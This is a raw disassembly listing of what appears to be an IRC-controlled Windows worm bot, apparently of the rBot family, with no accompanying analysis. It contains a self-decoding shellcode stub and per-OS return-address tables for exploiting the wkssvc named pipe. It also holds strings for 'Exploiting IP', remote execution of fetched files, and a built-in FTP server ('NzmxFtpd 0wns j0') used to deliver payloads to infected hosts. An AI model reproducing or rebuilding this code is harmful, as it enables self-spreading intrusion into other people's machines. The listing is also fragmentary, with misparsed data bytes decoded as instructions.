; FUNCTION CHUNK AT 00426E5E SIZE 00000047 BYTES

		pusha
		jmp	short loc_426E5E
sub_426E58	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426E5B	proc near		; CODE XREF: sub_426E58:loc_426E5Ep
		pop	ebx
		push	ebx
		retn
sub_426E5B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E58


loc_426E5E:				; CODE XREF: sub_426E58+1j
		call	sub_426E5B
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_426E6B:				; CODE XREF: sub_426E58+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_426E6B
		popa


loc_426E97:				; DATA XREF: sub_404D78+B4r
		add	[edi+edi*2+31430042h], dh


loc_426E9E:				; DATA XREF: sub_404D78+AEr
		mov	ebp, 7FC77h


loc_426EA3:				; DATA XREF: sub_404D78:loc_405043r
					; sub_404D78+2F2r ...
		add	[ecx], al
; END OF FUNCTION CHUNK	FOR sub_426E58
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		db 43h
; ---------------------------------------------------------------------------


loc_426EAD:				; CODE XREF: ___:00426EAFj
		xor	eax, eax
		ja	short loc_426EAD
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 427F88h, 77BD1F89h, 7FCh,	1, 427F74h, 77BD1FA8h
		dd 7FCh, 1, 427F60h, 77BD1FD6h,	7FCh, 1, 427F4Ch, 77BD2195h
		dd 7FCh, 1, 427F38h, 77BD21B3h,	7FCh, 1, 427F24h, 77BD21E0h
		dd 7FCh, 1, 427F10h, 77BD220Ch,	7FCh, 1, 427EFCh, 77BD2241h
		dd 7FCh, 1, 427EE8h, 77BD22D2h,	7FCh, 1, 427ED4h, 77BD28B2h
		dd 7FCh, 1, 427EC0h, 77BD29ABh,	7FCh, 1, 427EACh, 77BD29E7h
		dd 7FCh, 1, 427E98h, 77BD29F7h,	7FCh, 1, 427E84h, 77BD2A03h
		dd 7FCh, 1, 427E70h, 77BD2D6Dh,	7FCh, 1, 427E5Ch, 77BD2DB3h
		dd 7FCh, 1, 427E48h, 77BD2EC2h,	7FCh, 1, 427E34h, 77BD2EDDh
		dd 7FCh, 1, 427E20h, 77BD30AFh,	7FCh, 1, 427E0Ch, 77BD312Bh
		dd 7FCh, 1, 427DF8h, 77BD3160h,	7FCh, 1, 427DE4h, 77BD349Ah
		dd 7FCh, 1, 427DD0h, 77BD34E4h,	7FCh, 1, 427DB4h, 655B4F02h
		dd 7E7h, 0
		dd offset aWindowsUkXpPro ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 427D84h,	77C01FA8h, 7FCh, 1, 427D6Ch
		dd 77C01FD6h, 7FCh, 1, 427D54h,	77C02195h, 7FCh, 1, 427D3Ch
		dd 77C021B3h, 7FCh, 1, 427D24h,	77C021E0h, 7FCh, 1, 427D0Ch
		dd 77C0220Ch, 7FCh, 1, 427CF4h,	77C02241h, 7FCh, 1, 427CDCh
		dd 77C022D2h, 7FCh, 1, 427CC0h,	77C028B2h, 7FCh, 1, 427CA4h
		dd 77C029ABh, 7FCh, 1, 427C88h,	77C029E7h, 7FCh, 1, 427C6Ch
		dd 77C029F7h, 7FCh, 1, 427C50h,	77C02A03h, 7FCh, 1, 427C34h
		dd 77C02A39h, 7FCh, 1, 427C18h,	77C02D6Dh, 7FCh, 1, 427BFCh
		dd 77C02DB3h, 7FCh, 1, 427BE0h,	77C02EC2h, 7FCh, 1, 427BC4h
		dd 77C02EDDh, 7FCh, 1, 427BA8h,	77C030AFh, 7FCh, 1, 427B8Ch
		dd 77C0312Bh, 7FCh, 1, 427B70h,	77C03143h, 7FCh, 1, 427B54h
		dd 77C03160h, 7FCh, 1, 427B38h,	77C0349Ah, 7FCh, 1, 427B1Ch
		dd 77C034E4h, 7FCh, 1, 427B04h,	77B920FDh, 7FCh, 1, 427AECh
		dd 77B9211Ch, 7FCh, 1, 427AD4h,	77B9214Ah, 7FCh, 1, 427ABCh
		dd 77B9230Ch, 7FCh, 1, 427AA4h,	77B9232Ah, 7FCh, 1, 427A8Ch
		dd 77B92357h, 7FCh, 1, 427A74h,	77B92383h, 7FCh, 1, 427A5Ch
		dd 77B923B8h, 7FCh, 1, 427A44h,	77B92448h, 7FCh, 1, 427A28h
		dd 77B92AAAh, 7FCh, 1, 427A0Ch,	77B92BA7h, 7FCh, 1, 4279F0h
		dd 77B92BE3h, 7FCh, 1, 4279D4h,	77B92BF3h, 7FCh, 1, 4279B8h
		dd 77B92BFFh, 7FCh, 1, 42799Ch,	77B92F78h, 7FCh, 1, 427980h
		dd 77B92FBEh, 7FCh, 1, 427964h,	77B930EFh, 7FCh, 1, 427948h
		dd 77B9310Dh, 7FCh, 1, 42792Ch,	77B9330Ch, 7FCh, 1, 427910h
		dd 77B93388h, 7FCh, 1, 4278F4h,	77B9339Eh, 7FCh, 1, 4278D8h
		dd 77B933BAh, 7FCh, 1, 4278BCh,	77B9373Dh, 7FCh, 1, 4278A0h
		dd 77B9378Ah, 7FCh, 1, 427888h,	77B920FDh, 7FCh, 1, 427870h
		dd 77B9211Ch, 7FCh, 1, 427858h,	77B9214Ah, 7FCh, 1, 427840h
		dd 77B9230Ch, 7FCh, 1, 427828h,	77B9232Ah, 7FCh, 1, 427810h
		dd 77B92357h, 7FCh, 1, 4277F8h,	77B92383h, 7FCh, 1, 4277E0h
		dd 77B923B8h, 7FCh, 1, 4277C8h,	77B92448h, 7FCh, 1, 4277ACh
		dd 77B92AAAh, 7FCh, 1, 427790h,	77B92BA7h, 7FCh, 1, 427774h
		dd 77B92BE3h, 7FCh, 1, 427758h,	77B92BF3h, 7FCh, 1, 42773Ch
		dd 77B92BFFh, 7FCh, 1, 427720h,	77B92F78h, 7FCh, 1, 427704h
		dd 77B92FBEh, 7FCh, 1, 4276E8h,	77B930EFh, 7FCh, 1, 4276CCh
		dd 77B9310Dh, 7FCh, 1, 4276B0h,	77B9330Ch, 7FCh, 1, 427694h
		dd 77B93388h, 7FCh, 1, 427678h,	77B9339Eh, 7FCh, 1, 42765Ch
		dd 77B933BAh, 7FCh, 1, 427640h,	77B9373Dh, 7FCh, 1, 427624h
		dd 77B9378Ah, 7FCh, 1, 427618h,	41414141h, 7FCh, 1, 427600h
		dd 77E14C29h, 7FCh, 1, 4275E8h,	77E3CB4Ch, 7FCh, 1, 4275D0h
		dd 77E42C75h, 7FCh, 1, 4275B8h,	77E3C256h, 7FCh, 1, 4275A0h
		dd 77E2AFC5h, 7FCh, 1, 427588h,	77E2492Bh, 7FCh, 1, 427570h
		dd 77E4FF15h, 7FCh, 1, 427558h,	77E33F4Dh, 7FCh, 1, 326E6957h
		dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh
		dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h
		dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh
		dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h
		dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh
		dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h
		dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h
		dd 0
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k3_0	db 'Windows uk 2k3 ee sp0 22',0
		align 4
aWindowsUk2k3_1	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k3_2	db 'Windows uk 2k3 ee sp0 20',0
		align 10h
aWindowsUk2k3_3	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k3_4	db 'Windows uk 2k3 ee sp0 18',0
		align 4
aWindowsUk2k3_5	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k3_6	db 'Windows uk 2k3 ee sp0 16',0
		align 10h
aWindowsUk2k3_7	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k3_8	db 'Windows uk 2k3 ee sp0 14',0
		align 4
aWindowsUk2k3_9	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_10	db 'Windows uk 2k3 ee sp0 12',0
		align 10h
aWindowsUk2k_11	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_12	db 'Windows uk 2k3 ee sp0 10',0
		align 4
aWindowsUk2k_13	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_14	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_15	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_16	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_17	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_18	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_19	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_20	db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_21	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k_22	db 'Windows uk 2k3 se sp0 23',0
		align 4
aWindowsUk2k_23	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_24	db 'Windows uk 2k3 se sp0 21',0
		align 10h
aWindowsUk2k_25	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_26	db 'Windows uk 2k3 se sp0 19',0
		align 4
aWindowsUk2k_27	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_28	db 'Windows uk 2k3 se sp0 17',0
		align 10h
aWindowsUk2k_29	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_30	db 'Windows uk 2k3 se sp0 15',0
		align 4
aWindowsUk2k_31	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_32	db 'Windows uk 2k3 se sp0 13',0
		align 10h
aWindowsUk2k_33	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_34	db 'Windows uk 2k3 se sp0 11',0
		align 4
aWindowsUk2k_35	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k_36	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_37	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_38	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_39	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_40	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_41	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_42	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_43	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_44	db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 25',0
		align 4
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 23',0
		align 10h
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 21',0
		align 4
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 19',0
		align 10h
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 17',0
		align 4
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXp_10	db 'Windows uk xp pro sp1 15',0
		align 10h
aWindowsUkXp_11	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_12	db 'Windows uk xp pro sp1 13',0
		align 4
aWindowsUkXp_13	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_14	db 'Windows uk xp pro sp1 11',0
		align 10h
aWindowsUkXp_15	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXp_16	db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_17	db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_18	db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_19	db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_20	db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_21	db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_22	db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_23	db 'Windows uk xp pro sp1 2',0
aWindowsUkXpPro	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: ___:00427038o
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 10h
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 4
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 10h
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 4
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 10h
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 4
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 10h
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 4
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 10h
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 4
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 10h
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 4
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: ___:00426EA8o
		align 4
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0
		align 4
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_404D78+4E8o
		align 10h
dword_427FF0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_428004	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_404D78+243o
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_404D78+1E4o
		align 4
a_:					; DATA XREF: sub_404D78+184o
					; sub_4062F7+24Do ...
		unicode	0, <.>,0
aS_1		db '\\%s',0             ; DATA XREF: sub_404D78+153o
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405350+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405350+5B9o
					; sub_40F6F1+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405350+5ACo
		align 10h
unk_428080	db    2			; DATA XREF: sub_405350+561o
		db 52h,	2 dup(4Fh)
		db  54h	; T
		db 45h,	44h, 2
aSPortDNowExecu	db ' »»   %s, port:%d now executing %s on remote machine.',0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405350+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405350+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405350+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405350+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405350+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405350+4A5o
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405350+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405350+42Bo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405350+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405350+3EAo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405350+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405350+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405350+38Co
aI:					; DATA XREF: sub_405350+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405350+351o
aA:					; DATA XREF: sub_405350+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405350+326o
					; sub_405350+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405350+316o
		align 4
off_42821C	dd offset dword_445750	; DATA XREF: sub_405350+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405350+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405350+2DEo
		align 4
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405350+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405350+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405350+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405350+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405350+286o
		align 4
aUser_1		db 'USER',0             ; DATA XREF: sub_405350+271o
					; ___:0042EFA8o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_405350+260o
		align 4
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405350+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4059D0+24o
					; sub_406B85+12Eo ...
		align 4
unk_4282B8	db    2			; DATA XREF: sub_405A6A+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4282FC	db 0Dh,0Ah,0		; DATA XREF: sub_405A6A+2CFo
		align 10h
asc_428300:				; DATA XREF: sub_405A6A+293o
					; sub_40F6F1+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405A6A+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405EC5+97o
					; sub_40BDAD+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405EC5+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405EC5:loc_405F2Ao
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405EC5+5Eo
		align 10h
unk_428520	db    2			; DATA XREF: sub_406047+28Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_428568	db    2			; DATA XREF: sub_406047+20Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_4285A8:				; DATA XREF: sub_406047+157o
		unicode	0, <*>,0
asc_4285AC:				; DATA XREF: sub_406047+FBo
					; sub_4062F7+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406047+EAo
					; sub_4062F7+4CAo ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406047+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4062F7+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4062F7+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40680Fo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+471o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+434o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066B9o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3BBo
		align 10h
aSS		db '%s%s/',0            ; DATA XREF: sub_4062F7+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+330o
					; sub_4062F7+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4062F7+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4062F7+2E4o
					; sub_4062F7+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_4062F7+290o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4062F7+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_4062F7+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4062F7+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A64+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_428A5C	dd 4000500h, 7868746Bh,	0dword_428A68	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406B85+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_428ABC	db    2			; DATA XREF: sub_406B85+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_428AF0	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406B85+399o
dword_428B04	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406B85+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_428B4C	db    2			; DATA XREF: sub_406B85+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_428B80	db    2			; DATA XREF: sub_406B85+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
